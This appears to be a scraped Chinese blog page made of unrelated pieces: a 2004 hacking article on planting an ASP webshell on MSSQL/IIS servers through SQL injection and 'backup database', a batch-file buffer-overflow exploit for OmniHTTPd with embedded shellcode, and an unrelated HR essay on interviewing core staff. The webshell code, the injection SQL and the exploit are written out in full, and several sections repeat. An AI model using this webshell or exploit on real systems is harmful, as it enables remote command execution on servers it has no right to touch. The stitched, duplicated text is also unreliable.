到这里可能有人已经想一股脑儿把经典的asp shell的内容写入新建的表然后backup database了,嗯,还没有那么简单,你这样做了的话,如果还想继续我们的实验,那可能要花上重装MSSQL的代价。对于文本类型等的数据,比如text,nvchar等,在数据库中可能的形式是“abc”,但是在导出文件中,已经变成了宽字符的形式,成了“a b c ”,这样子的话,即使你好心写的是一个“<%”,到了备份文件中,一样的成了“< % ”,里面的内容更是乱七八糟,根本不会被解释执行了(你自己不妨做个试验,我只重装了两次而已)。为了避免这种情况,我们创建的表列项应该是一个二进制形式的,比如属性为image,这样子,在里面添加的内容,原来是什么导出的备份文件中也就是什么,规规矩矩的,一点都不会变了。
到了这里,最后只剩下一个问题了,就算你把asp shell的内容写入新建的二进制表,总不会是单独的一行吧(也就是一条记录),谁知道同一个表的两行之间,在导出的备份文件中会不会还有其它的一些内容呢,如果是这样的话,前面一行<%后的内容倒是可以,中间如果有些乱七八遭的数据,用VBScripts的方式解释执行百分之一百是一个500错误。所以每一行必须是一个完整的<%%>,这样子,我们才能完全的控制<%%>内的内容,保证能够得到一个正确无误的asp shell。
OK,终于到了实践的部分了。通过上面的分析,应该知道利用backup database来做一个shell是完全可行的,我们先来改写一下那个利用FSO的asp shell,使其能够符合我们的要求:
<% Dim oScript %>
<% Dim oScriptNet%>
<% Dim oFileSys, oFile%>
<% Dim szCMD, szTempFile%>
<% Set oScript = Server.CreateObject("WSCRIPT.SHELL")%>
<% Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")%>
<% Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")%>
<% szCMD = Request.Form(".CMD")%>
<% If (szCMD <> "") Then%>
<% szTempFile = "C:\" & oFileSys.GetTempName()%>
<% Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)%>
<% Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)%>
<% End If %>
创建时间:2004-05-17
文章属性:转载
文章提交:velvet (zodiacsoft_at_hotmail.com)
论坛登陆名: SWAN
提交者邮件地址: ????
提交者QQ号码: ????
版权:文章属中华安全网http://www.safechina.net和作者共同所有,转载请注明出处!!
标题: Backup a shell
●写在前面:
本来这也不是什么大不了的东西,但是我写了还没有贴出来的时候,有一天QQ上居然有人神神秘秘地把这篇文章传给了我,隔了不久又有人送了我一个这方面的工具!我好感动哦,5555555~
我也不追问他们是哪里得来的了,我给过的就几个,总是这样子传出去的吧。反正大家都知道,也没有什么好保留的,于是在黑防四期上骗了点钱,过程就是这样。
过了五一节我拿出原来写的又改了一下,webshell改得更短,加了些在括号中的注释,不过,最重要的还是加了下面一句:
+----------------------------------------+
|谨以此文献给我最最最最最喜欢的宝贝星星。|
+----------------------------------------+
●正文:
最早想到利用数据库系统来写文件大约是在看到MySQL相关文章的时候,我记得有篇经典的贴子是讲利用TCP反弹结合输入法漏洞入侵的,第一步,也是很重要的一步就是利用了MySQL导出表到文件获得了一个web上的shell。回过头来我想,ACCESS功能不那么强大,有注入漏洞的时候也不能直接获得执行任何命令的权限,就不去看了(事实上还是可以……);MSSQL倒是有很多人详细研究过,执行命令的方法罗列了很多,可是没有了exec的权限,所做的还是有限。很多人就在问,MSSQL下面能不能导出一张表到文件,就像MySQL那样子,至少先获得一个低权限的shell来看看,我找来找去也没有找到导出表的命令,只好退而求其次——不能导出表,那就只好导出数据库了。
在说明做法前,还是先来看看为什么可以。IIS在通过asp.dll处理.asp扩展名文件的时候,对<%%>以外的内容,不做任何处理就直接输出,比如拷贝一个.exe文件到web发布目录,改扩展名为.asp后在IE中请求,返回来的结果是多半是.exe文件的内容,而不会是一个500服务器内部错误。而对于<%%>括起来的内容,默认情况下是按照VBScripts的方式解释执行后给出结果,如果在<%%>里面的内容有语法错误,才会出现常见的500服务器内部错误。换句话说,如果有一个以.asp为扩展名的文件,只要能精心控制所有的<%%>中的内容,我们就能够让它正确的执行,而至于<%%>以外的东西,asp.dll不去处理它,我们也不去关心。(这个有点像我朋友在做的预处理,<%%>外的就像是注释,里面的东西才被解释执行然后返回结果)
再来看看在MSSQL下使用backup database的情况。随便导出一个数据库看看,比如model,当然了,可以在查询分析器中做:
backup database model to disk='c:\a.txt'
用文本的方式打开这个文件,查找是否存在<%和%>,呵呵,显然是没有的吧。通过上面的分析,我们知道,如果把这个文件改扩展名为.asp后,请求时不会出现问题,也就是说我们的请求会返回文本方式的内容。默认的导出文件不会导致解释执行时的错误,这是很关键的一步。下面我们要让他变为一个shell,方法自然是做一个表进去,表的内容在备份的时候一定会被存储到备份文件中去的,我们可以控制表的内容,自然也可以控制备份文件的内容。
到这里可能有人已经想一股脑儿把经典的asp shell的内容写入新建的表然后backup database了,嗯,还没有那么简单,你这样做了的话,如果还想继续我们的实验,那可能要花上重装MSSQL的代价。对于文本类型等的数据,比如text,nvchar等,在数据库中可能的形式是“abc”,但是在导出文件中,已经变成了宽字符的形式,成了“a b c ”,这样子的话,即使你好心写的是一个“<%”,到了备份文件中,一样的成了“< % ”,里面的内容更是乱七八糟,根本不会被解释执行了(你自己不妨做个试验,我只重装了两次而已)。为了避免这种情况,我们创建的表列项应该是一个二进制形式的,比如属性为image,这样子,在里面添加的内容,原来是什么导出的备份文件中也就是什么,规规矩矩的,一点都不会变了。
到了这里,最后只剩下一个问题了,就算你把asp shell的内容写入新建的二进制表,总不会是单独的一行吧(也就是一条记录),谁知道同一个表的两行之间,在导出的备份文件中会不会还有其它的一些内容呢,如果是这样的话,前面一行<%后的内容倒是可以,中间如果有些乱七八遭的数据,用VBScripts的方式解释执行百分之一百是一个500错误。所以每一行必须是一个完整的<%%>,这样子,我们才能完全的控制<%%>内的内容,保证能够得到一个正确无误的asp shell。
OK,终于到了实践的部分了。通过上面的分析,应该知道利用backup database来做一个shell是完全可行的,我们先来改写一下那个利用FSO的asp shell,使其能够符合我们的要求:
<% Dim oScript %>
<% Dim oScriptNet%>
<% Dim oFileSys, oFile%>
<% Dim szCMD, szTempFile%>
<% Set oScript = Server.CreateObject("WSCRIPT.SHELL")%>
<% Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")%>
<% Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")%>
<% szCMD = Request.Form(".CMD")%>
<% If (szCMD <> "") Then%>
<% szTempFile = "C:\" & oFileSys.GetTempName()%>
<% Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)%>
<% Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)%>
<% End If %>
<% If (IsObject(oFile)) Then%>
<% On Error Resume Next%>
<% Response.Write Server.HTMLEncode(oFile.ReadAll)%>
<% oFile.Close%>
<% Call oFileSys.DeleteFile(szTempFile, True)%>
<% End If%>
然后打开查询分析器,依次输入以下的SQL查询语句。这些语句的大意就是创建一张表,里面有一个二进制image类型的列,然后把我们上面改写的那个shell作为内容输进去,最后导出整个数据库到一个.asp文件,开始!
use model
create table cmd (str image);
insert into cmd(str) values ('<% Dim oScript %>');
insert into cmd(str) values ('<% Dim oScriptNet%>');
insert into cmd(str) values ('<% Dim oFileSys, oFile%>');
insert into cmd(str) values ('<% Dim szCMD, szTempFile%>');
insert into cmd(str) values ('<% Set oScript = Server.CreateObject("WSCRIPT.SHELL")%>');
insert into cmd(str) values ('<% Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")%>');
insert into cmd(str) values ('<% Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")%>');
insert into cmd(str) values ('<% szCMD = Request.Form(".CMD")%>');
insert into cmd(str) values ('<% If (szCMD <> "") Then%>');
insert into cmd(str) values ('<% szTempFile = "C:\" & oFileSys.GetTempName()%>');
insert into cmd(str) values ('<% Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)%>');
insert into cmd(str) values ('<% Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)%>');
insert into cmd(str) values ('<% End If %>');
insert into cmd(str) values ('
');
insert into cmd(str) values ('<% If (IsObject(oFile)) Then%>');
insert into cmd(str) values ('<% On Error Resume Next%>');
insert into cmd(str) values ('<% Response.Write Server.HTMLEncode(oFile.ReadAll)%>');
insert into cmd(str) values ('<% oFile.Close%>');
insert into cmd(str) values ('<% Call oFileSys.DeleteFile(szTempFile, True)%>');
insert into cmd(str) values ('<% End If%>');
insert into cmd(str) values ('');
backup database model to disk='c:\l.asp';
拷贝c:\l.asp到你的web发布目录,再用浏览器请求一下,没有500错误的话,你已经获得一个shell了,不过这个shell中垃圾数据实在是太多,你要多按几下TAB键才能到输入命令的那个输入框。
实践中用FSO的webshell是很不方便的,另外一个可能的webshell是这样子:
<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>
为了造型上的美观,可以做一下适当的修改,不过从形式上来说,这东西应该是最短的。注入时候相应的做一点改动:
use model
create table cmd (str image);
insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
backup database model to disk='g:\wwwtest\l.asp';
请求的时候,像这样子用:
http://202.119.9.42/l.asp?c=dir
是不是方便一些?
末了再说说可能出现的问题,一般来说随意选择一个数据库导出,默认情况下里面是不含有<%或者%>的,但也不排除有这种可能,尽管几率很小,但是我就遇到过一次。如果以前没有动过model,导出的文件肯定是符合要求的,但是如果你中途如果写错了些东西,比如创建了一个表,内容有<%但是在同一行内没有%>出现的话,这个数据库就再也不能用了,因为也许是为了事务回滚或者是效率上的需要,即使你删除了这张表,在导出的文件中依然保存有这张表的原始内容,所以,千万要一次成功,错了要换一个database。
当然上面只是在查询分析器中的实验,实际情况下,如果你能以sa的身份注入,当然是比较轻松的,只是猜测web的物理路径的时候可能会稍微有一些麻烦,因为你得一次性导出到web的发布目录,不过也许你可以结合其他暴露物理路径的漏洞来利用。如果不是sa的身份的话,也许declare @a sysname;select @a=db_name()会有一些用处。成功的几率,不敢说的太高,估计80%还是有的吧,如果你真的通过这种方法得到了shell,其实你会发现,这真是世界上最可爱最好用的asp shell——尽管有很多垃圾数据,也许还是个2、3M的大家伙。
EXP_OmniHTTPd.BAT
EXP_OmniHTTPd.BAT
@echo off
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:Application: OmniHTTPd
:Vendors: http://www.omnicron.ca
:Version: <=V3.0a
:Platforms: Windows
:Bug: Overflow
:Date: 2004-04-23
:Author: CoolICE
:E-mail: CoolICE#China.com
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;if '%1'=='' echo Usage:%0 target&&goto :eof
;for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe echo Need nc.exe&&goto :eof
;DEBUG < %~s0
;GOTO :run
e 100 "GET / HTTP/1.0" 0D 0A "Range: "
!Overflow@length>0xE0
f 117 206 41
!JMPESP@w2k
e 207 12 45 FA 7F
!Shellcode
e 20B EB 1B 5B BE 43 6F 6F 6C BF 49 43 45 21 43 39 3B
e 21B 75 FB 4B 80 33 88 39 73 FC 75 F7 EB 09 E8 E0 FF
e 22B FF FF 43 6F 6f 6C 61 31 88 88 88 D6 60 CE 88 88
e 23B 88 01 8E 03 50 DB E0 F6 50 6A FB 60 C4 88 88 88
e 24B 01 CE 80 DB E0 06 C6 86 64 60 B6 88 88 88 01 CE
e 25B 8C E0 BB BA 88 88 E0 DD DB CD DA DC 77 58 01 CE
e 26B 84 03 50 DB E0 07 6E AC DF 60 96 88 88 88 01 CE
e 27B 98 77 DE 98 77 DE 80 DE EC 29 B8 88 88 88 03 C8
e 28B 84 03 F8 94 25 03 C8 80 D6 4A 8C 88 DB DD DE DF
e 29B 03 E4 AC 90 03 CD B4 03 DC 8D F0 8B 5D 03 C2 90
e 2AB 03 D2 A8 8B 55 6B BA C1 03 BC 03 8B 7D BB 77 74
e 2BB BB 48 24 B2 4C FC 8F 49 47 85 8B 70 63 7A B3 F4
e 2CB AC 9C FD 69 03 D2 AC 8B 55 EE 03 84 C3 03 D2 94
e 2DB 8B 55 03 8C 03 8B 4D 63 8A BB 48 03 5D D7 D6 D5
e 2EB D3 4A 80 88 60 CA 77 77 77 49 43 45 21 0D 0A 0D
E 2FB 0A 00
rcx
1FC
nhttp.tmp
w
q
:run
nc %1 80 < http.tmp
del http.tmp
@echo off
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:Application: OmniHTTPd
:Vendors: http://www.omnicron.ca
:Version: <=V3.0a
:Platforms: Windows
:Bug: Overflow
:Date: 2004-04-23
:Author: CoolICE
:E-mail: CoolICE#China.com
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;if '%1'=='' echo Usage:%0 target&&goto :eof
;for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe echo Need nc.exe&&goto :eof
;DEBUG < %~s0
;GOTO :run
e 100 "GET / HTTP/1.0" 0D 0A "Range: "
!Overflow@length>0xE0
f 117 206 41
!JMPESP@w2k
e 207 12 45 FA 7F
!Shellcode
e 20B EB 1B 5B BE 43 6F 6F 6C BF 49 43 45 21 43 39 3B
e 21B 75 FB 4B 80 33 88 39 73 FC 75 F7 EB 09 E8 E0 FF
e 22B FF FF 43 6F 6f 6C 61 31 88 88 88 D6 60 CE 88 88
e 23B 88 01 8E 03 50 DB E0 F6 50 6A FB 60 C4 88 88 88
e 24B 01 CE 80 DB E0 06 C6 86 64 60 B6 88 88 88 01 CE
e 25B 8C E0 BB BA 88 88 E0 DD DB CD DA DC 77 58 01 CE
e 26B 84 03 50 DB E0 07 6E AC DF 60 96 88 88 88 01 CE
e 27B 98 77 DE 98 77 DE 80 DE EC 29 B8 88 88 88 03 C8
e 28B 84 03 F8 94 25 03 C8 80 D6 4A 8C 88 DB DD DE DF
e 29B 03 E4 AC 90 03 CD B4 03 DC 8D F0 8B 5D 03 C2 90
e 2AB 03 D2 A8 8B 55 6B BA C1 03 BC 03 8B 7D BB 77 74
e 2BB BB 48 24 B2 4C FC 8F 49 47 85 8B 70 63 7A B3 F4
e 2CB AC 9C FD 69 03 D2 AC 8B 55 EE 03 84 C3 03 D2 94
e 2DB 8B 55 03 8C 03 8B 4D 63 8A BB 48 03 5D D7 D6 D5
e 2EB D3 4A 80 88 60 CA 77 77 77 49 43 45 21 0D 0A 0D
E 2FB 0A 00
rcx
1FC
nhttp.tmp
w
q
:run
nc %1 80 < http.tmp
del http.tmp
星期一, 五月 17, 2004
10分钟面试招到核心员工
与如何应对核心员工离职永远相伴的
就是如何招聘到新的核心员工
时值招聘高峰
企业应如何
在关键岗位的招聘面试中
提高效率呢?
〖为什么挑不出人才?〗
任何一个用人单位都希望找到优秀的人才,然而当用人单位通过系列的招聘、简历筛选、初试、复试,录用后往往发现找到的人并不理想。这是什么原因呢?一般的面试就是问几个常识性的基础问题,然后就凭感觉了。有规模的企业则多几道复试,一拨儿又一拨儿人把应聘者折腾了几个来回也拿不定主意。审犯人一般的面试,用来招聘普通员工还勉强凑合,而对于骨干核心员工,就很难奏效了。
而现实是,审犯人式的面试随处可见。没有经验的或那些责任心一般的面试官,只是把面试当成程序化地问几个问题,应聘者再机械地回答问题,回答完后面试官就命令走人,气氛真的和审犯人差不多。这种单刀直入的问,不仅气氛尴尬,一般情况下也根本问不出实质内容来,应聘者要么提前准备好了台词,要么自我保护性地回答问题,而不会主动开放性地回答问题。结果是作为面试官,对应聘者除了外表外几乎没有什么感觉,至于重要的内在思想和基本能力则一概模糊。之所以这样,问题不在应聘者,而是面试官自己用机械的面试程序把自己给框住了,应聘者只能削足适履,看起来也就很少有“个性差异”了。最后只能凭面试官自己的好恶抓阄式任意挑选一位,于是面试也就失去了意义。
〖如何面试核心员工?〗
一般的面试程序是:人力资源部门的初步面试——把握应聘者基本素质关,专业能力由专业的部门经理把握,重要的岗位以及经理级人选一般再加一道或两道面试程序,由高层领导面试。这些身为领导的面试官,该如何面试应聘者呢?我的经验是:一聊,二讲,三问,四答。
〖一聊:谁聊?聊什么?聊多久?〗
答案:面试官聊,聊与招聘职位相关的内容,聊3分钟。
领导作为面试官时,应把公司的大致情况以及公司的发展前景三言两语做一简要描述,因为公司的发展变化需要增添新的人才加盟,这样顺理成章地把要招聘人的原因及重要意义叙述出来。进而可以具体叙述招聘的新人需要干什么,干到什么程度,甚至可以说出干到什么程度会有什么待遇等等。总之,作为一名领导级的面试官,应在最短的时间内把企业现状及发展前景和招聘岗位的相关要素非常连贯地告诉应聘者,整个叙述过程大概也就两三分钟时间。通过这样的聊,虽然不用发问,应聘者会立即产生共鸣,围绕面试官所聊的主题,展开下一步的阐述,这样才能最大限度地节省面试时间。不然上来就问,或问的问题很大,应聘者经常不知道该讲什么,于是只能是根据自己的理解漫无目的地讲,结果是讲了很多,面试官想听的没有听到,无关紧要的听了一大筐,浪费双方的时间。
为什么面试官要采用聊的形式呢?聊,不同于讲,聊是两个人或少数几个人之间的非正式谈话交流;聊是在小范围内轻松民主的气氛中进行,显得非常自然轻松愉快,让应聘者放松后易于发挥出真实水平。否则过于一本正经,应聘者会感觉你特别假,官僚,甚至反感。
〖二讲:谁讲?讲什么?讲多久?〗
答案:当然是应聘者讲,讲自己与所应聘职位有关的内容,时间3分钟。
尽管面试官什么要求也不提,什么问题也没问,当应聘者听完面试官的简短话语之后,会立即在自己的脑海里搜索与面试官所聊的内容相关联的东西,并把自己最适合招聘职位的、关联度最高的内容有选择性地、用自认为最恰当的方式表述出来。
为什么应聘者是讲,而不是聊或者其它表述方式呢?这是由应聘者和面试官的心理状态不对等以及信息不对称造成的,应聘者一般都急于展示自己与应聘岗位相宜的才能与品质,处于表现自己的心理状态,因而不可能平静地聊。如果应聘者能够和面试官轻松地聊,说明应聘者的心理素质特别好,或者心理优势特别明显,这一般是久经职场的高级别经理人。
应聘者的这段演讲是应聘过程中最关键的部分,因为面试官据此可以看出应聘者的基本内涵、从业经验和资源背景,更重要的是了解到应聘者的知识总量、思维宽度、速度、深度、精度、语言组织能力、逻辑能力、概括总结能力、化繁为简能力、应变能力等等,而这些是在简历、笔试和测试中很难体现出来的。即使经验、资历和背景在前期翻阅简历时面试官都看过了,但看他写的和听他说是两个完全不同的测试角度。有丰富经验的面试官根据应聘者上述3分钟的陈述演讲,基本上就会有一个清晰的看法和八九不离十的判断。
如果是传统而简单机械的一问一答式面试,根本不会有上述的面试效果,也根本不会有什么好结果。因为一问一答审犯人式的教条面试,面试官和应聘者双方都会感觉气氛紧张,双方都会感觉既处于进攻状态又处于防守状态,于是双方的心理活动处在对抗状态,而不是合作状态。试想如果双方处在相互不合作状态,怎么能有好的面试效果呢?所以,面试的艺术在于面试官能否把应聘者当时的心理活动和自己的心理活动有机地协调一致,使双方处于良性互动状态,而不是互抗和矛盾。
因此,当应聘者作3分钟的陈述演讲时,面试官应认真听讲,并不时给予微笑式的鼓励和肯定,切记不要轻易地打断应聘者的陈述。一是应聘者陈述的主题思路会中断,会顺着你的新问题而偏离,而把原来准备的与应聘岗位有关的重要内容丢掉;二是延长面试时间,增加面试成本,进而会影响到后面其他等着面试的人的约定时间,造成整体面试时间迟延和浪费。
〖三问:谁问?问什么?怎么问?〗
答案:面试官发问,问关键的内容和相互矛盾的地方,要刚柔相济地问。
面试官无论如何要耐着性子认真听完应聘者3分钟左右的陈述,对3分钟过后仍喋喋不休的应聘者,面试官可以通过看表等形体语言或善意地提醒应聘者尽快结束陈述。
应聘者陈述结束后,面试官应主动发问,问什么呢?不要问些老生常谈的话题,不要问简历中已有答案的话题,不要问笔试中以及刚才的3分钟陈述中已叙述清楚的话题。否则会招致应聘者的不满:“我的简历中已经写了”、“我刚才好像说过了”等等,造成面试气氛的尴尬。
究竟该问什么?主要问以下内容:问面试官应该了解但在简历和笔试以及在3分钟陈述中一直没有叙述出来的问题;问应聘者在陈述中和简历中自相矛盾的地方;问应聘者陈述的事实以及简历中反映出来的内容与应聘职位不相宜的地方。总之,就应聘者自身矛盾来问问题,看应聘者如何回答。
如何发问呢?问话的语气方式也要因人而异,对性格直爽开朗的应聘者可以问得节奏快一些、直接一些,对内向的人可以适当委婉一些,但无论如何都不要攻击应聘者和伤害应聘者或者以教训的口吻对待应聘者。不论怎么问,问题要柔中带刚,曲中显直。只有问到关节上,问到矛盾处,才能起到面试的效果。因为一是补充需要了解的关键信息,二是就矛盾问题的回答看应聘者的应变能力和答辩能力,以及能力以外的诸如诚信问题和问题后面的问题。
〖四答:谁答?答什么?怎么答?〗
当应聘者被面试官点到痛处时,回答才是关键,俗话讲:只有高水平的问,才可能有高水平的答。面试到这一步才真正进入了高潮。应聘者处理矛盾的水平高低和有无艺术魅力,全在这简短的回答之中。而且双方正面的交锋才真正开始。如果应聘者回答问题清楚,可以接着问下一个问题;如果问题有破绽可以就破绽继续追问;如果应聘者被问得局促不安,或满头大汗,说明应聘者在此问题上可能有问题,或有难言之隐。作为面试官可以对此问题罢休,不要穷追不舍,适当换一个轻松的话题给应聘者一个台阶下,记住此时双方是平等的,是相互选择的,面试官不是法官,也不要做法官,只要知道问题就行了。
在实际问答中,应聘者在回答面试官的问题后也会主动反问面试官,而应聘者问的问题一般都是关系到所应聘职位的薪水、待遇、休假方式以及作息时间、业务程序,或者岗位之间的关系以及公司背景和竞争对手的竞争性等等。面对应聘者的反问,作为面试官应该正面实事求是地回答,但不排除回答的艺术性。
面试官和应聘者相互之间的问答,总体时间掌握在4分钟之内。
综上,面试一位应聘者的总计时间是10分钟。时间太少了,面试不出效果来;时间太长了,不仅是加大了面试成本,而且反而会降低面试效果。当然,对明显不相宜的应聘者,可以在短短5分钟之内结束面试,但要客气礼貌地结束面试。
〖面试玄机一:待遇应早申明〗
应聘者第一关注的是招聘职位的待遇,第二是自己能不能胜任该职位工作,第三才是岗位要求,自己适合不适合。然而,许多招聘单位往往不说前两项,只提职位要求,这是严重的自我中心主义者的反映。关于职位的薪水待遇等常规问题,面试官最好应该在前3分钟内告诉应聘者,或者在第一轮的面试中甚至在招聘广告中尽早告诉应聘者,免得应聘者不好意思追问而绕来绕去。这不是俗,这是对应聘者负责,也是对自己负责。
〖面试玄机二:吹牛大王不能要〗
有经验的面试官一般不会问应聘者:“谈谈你如何干好这项工作?”“你能完成多少销售额?”如果有面试官这样问,只有两种可能:要么面试官没有经验,属于根本不懂人力资源工作的那一类;要么是另有企图,希望通过你谈谈思路,谈谈你对工作的看法,他好集思广益;甚至有的面试官让你在3天之内拿出一套方案,其实他让很多应聘者拿方案,其目的在于窃取应聘者的智慧,而不在于招到什么样的人才。对于这样的招聘单位和面试官,应聘者应提高警惕。
话要两头说,作为真想招贤纳士企业的面试官来说,如果遇到一位应聘者与你吹牛,夸海口,有多少种能力,有多少的资源关系,能完成多少销售任务等,只有一个办法: “千万拒之门外”。因为,这样的应聘者有两种人:一是骗子,二是疯子。这两种人是对企业破坏性很强的人,千万不能要。试想,外来一个和尚,对企业的内部信息根本不了解,随便念一个经,就能把企业做到什么程度,他不是疯子或者骗子又是什么呢?
那么如何判断一个人的实际操作能力呢?很简单,看他做过什么、做成过什么、怎么做成的。做过什么是经验,做成什么是能力,怎么做成的是思维方法。有此足矣!而这些都可以通过简历和面试中以及调查中得到印证,而不是听他说将来能干成什么。因为,本题讨论的是招聘关键岗位员工,是管理和领导岗位员工,是担当重任的核心骨干员工,而不是一般员工,也不是需要培养开发的新进大学生。
〖面试玄机三:不可录取“最好的” 〗
面试后共有10位合格者需要录取4位,该录取谁呢?傻子都会知道答案:录取前四名。而实际操作经验是:最好前两名不要录取,要录取排在三名以后的,为什么?
第一,因为好的都在抢,社会上的用人单位不是你一家,当你把排在前面的两位录取到企业后,企业对他有个试用期。企业往往单方面想我在试用你,我在考验你,而事实上忽略了一点:应聘者也在试用企业。而试用期内双方的机会成本都不高,谁都可以炒对方的鱿鱼,不仅是企业炒员工。
第二,优秀的人永远会有很多机会等着,不仅你看上了他,而且其它企业也会看上他,他在试用期内会骑着马找马,会有许多机会向他招手,他随时会离你而去,而你怎么办?你想起排在中间的那几位,结果那几位此时刚好找到了工作上班了,这样对企业来讲是竹篮打水一场空。
第三,排在前几位的人加盟到企业工作不久,又很快萌生了去意。为什么?因为他们很快陆续发现企业很多的负面东西,没有进来之前,看到的听到的尽是好的一面,负面的内容很少知道。等被录用进来后就不一样了,看到的接触到的完全是实实在在的真相,如果再碰上那么一两位欺生的或者嫉贤妒能的“鸟人”就更难以忍受,如果此时外面有机会他自然很快会离开。
就是如何招聘到新的核心员工
时值招聘高峰
企业应如何
在关键岗位的招聘面试中
提高效率呢?
〖为什么挑不出人才?〗
任何一个用人单位都希望找到优秀的人才,然而当用人单位通过系列的招聘、简历筛选、初试、复试,录用后往往发现找到的人并不理想。这是什么原因呢?一般的面试就是问几个常识性的基础问题,然后就凭感觉了。有规模的企业则多几道复试,一拨儿又一拨儿人把应聘者折腾了几个来回也拿不定主意。审犯人一般的面试,用来招聘普通员工还勉强凑合,而对于骨干核心员工,就很难奏效了。
而现实是,审犯人式的面试随处可见。没有经验的或那些责任心一般的面试官,只是把面试当成程序化地问几个问题,应聘者再机械地回答问题,回答完后面试官就命令走人,气氛真的和审犯人差不多。这种单刀直入的问,不仅气氛尴尬,一般情况下也根本问不出实质内容来,应聘者要么提前准备好了台词,要么自我保护性地回答问题,而不会主动开放性地回答问题。结果是作为面试官,对应聘者除了外表外几乎没有什么感觉,至于重要的内在思想和基本能力则一概模糊。之所以这样,问题不在应聘者,而是面试官自己用机械的面试程序把自己给框住了,应聘者只能削足适履,看起来也就很少有“个性差异”了。最后只能凭面试官自己的好恶抓阄式任意挑选一位,于是面试也就失去了意义。
〖如何面试核心员工?〗
一般的面试程序是:人力资源部门的初步面试——把握应聘者基本素质关,专业能力由专业的部门经理把握,重要的岗位以及经理级人选一般再加一道或两道面试程序,由高层领导面试。这些身为领导的面试官,该如何面试应聘者呢?我的经验是:一聊,二讲,三问,四答。
〖一聊:谁聊?聊什么?聊多久?〗
答案:面试官聊,聊与招聘职位相关的内容,聊3分钟。
领导作为面试官时,应把公司的大致情况以及公司的发展前景三言两语做一简要描述,因为公司的发展变化需要增添新的人才加盟,这样顺理成章地把要招聘人的原因及重要意义叙述出来。进而可以具体叙述招聘的新人需要干什么,干到什么程度,甚至可以说出干到什么程度会有什么待遇等等。总之,作为一名领导级的面试官,应在最短的时间内把企业现状及发展前景和招聘岗位的相关要素非常连贯地告诉应聘者,整个叙述过程大概也就两三分钟时间。通过这样的聊,虽然不用发问,应聘者会立即产生共鸣,围绕面试官所聊的主题,展开下一步的阐述,这样才能最大限度地节省面试时间。不然上来就问,或问的问题很大,应聘者经常不知道该讲什么,于是只能是根据自己的理解漫无目的地讲,结果是讲了很多,面试官想听的没有听到,无关紧要的听了一大筐,浪费双方的时间。
为什么面试官要采用聊的形式呢?聊,不同于讲,聊是两个人或少数几个人之间的非正式谈话交流;聊是在小范围内轻松民主的气氛中进行,显得非常自然轻松愉快,让应聘者放松后易于发挥出真实水平。否则过于一本正经,应聘者会感觉你特别假,官僚,甚至反感。
〖二讲:谁讲?讲什么?讲多久?〗
答案:当然是应聘者讲,讲自己与所应聘职位有关的内容,时间3分钟。
尽管面试官什么要求也不提,什么问题也没问,当应聘者听完面试官的简短话语之后,会立即在自己的脑海里搜索与面试官所聊的内容相关联的东西,并把自己最适合招聘职位的、关联度最高的内容有选择性地、用自认为最恰当的方式表述出来。
为什么应聘者是讲,而不是聊或者其它表述方式呢?这是由应聘者和面试官的心理状态不对等以及信息不对称造成的,应聘者一般都急于展示自己与应聘岗位相宜的才能与品质,处于表现自己的心理状态,因而不可能平静地聊。如果应聘者能够和面试官轻松地聊,说明应聘者的心理素质特别好,或者心理优势特别明显,这一般是久经职场的高级别经理人。
应聘者的这段演讲是应聘过程中最关键的部分,因为面试官据此可以看出应聘者的基本内涵、从业经验和资源背景,更重要的是了解到应聘者的知识总量、思维宽度、速度、深度、精度、语言组织能力、逻辑能力、概括总结能力、化繁为简能力、应变能力等等,而这些是在简历、笔试和测试中很难体现出来的。即使经验、资历和背景在前期翻阅简历时面试官都看过了,但看他写的和听他说是两个完全不同的测试角度。有丰富经验的面试官根据应聘者上述3分钟的陈述演讲,基本上就会有一个清晰的看法和八九不离十的判断。
如果是传统而简单机械的一问一答式面试,根本不会有上述的面试效果,也根本不会有什么好结果。因为一问一答审犯人式的教条面试,面试官和应聘者双方都会感觉气氛紧张,双方都会感觉既处于进攻状态又处于防守状态,于是双方的心理活动处在对抗状态,而不是合作状态。试想如果双方处在相互不合作状态,怎么能有好的面试效果呢?所以,面试的艺术在于面试官能否把应聘者当时的心理活动和自己的心理活动有机地协调一致,使双方处于良性互动状态,而不是互抗和矛盾。
因此,当应聘者作3分钟的陈述演讲时,面试官应认真听讲,并不时给予微笑式的鼓励和肯定,切记不要轻易地打断应聘者的陈述。一是应聘者陈述的主题思路会中断,会顺着你的新问题而偏离,而把原来准备的与应聘岗位有关的重要内容丢掉;二是延长面试时间,增加面试成本,进而会影响到后面其他等着面试的人的约定时间,造成整体面试时间迟延和浪费。
〖三问:谁问?问什么?怎么问?〗
答案:面试官发问,问关键的内容和相互矛盾的地方,要刚柔相济地问。
面试官无论如何要耐着性子认真听完应聘者3分钟左右的陈述,对3分钟过后仍喋喋不休的应聘者,面试官可以通过看表等形体语言或善意地提醒应聘者尽快结束陈述。
应聘者陈述结束后,面试官应主动发问,问什么呢?不要问些老生常谈的话题,不要问简历中已有答案的话题,不要问笔试中以及刚才的3分钟陈述中已叙述清楚的话题。否则会招致应聘者的不满:“我的简历中已经写了”、“我刚才好像说过了”等等,造成面试气氛的尴尬。
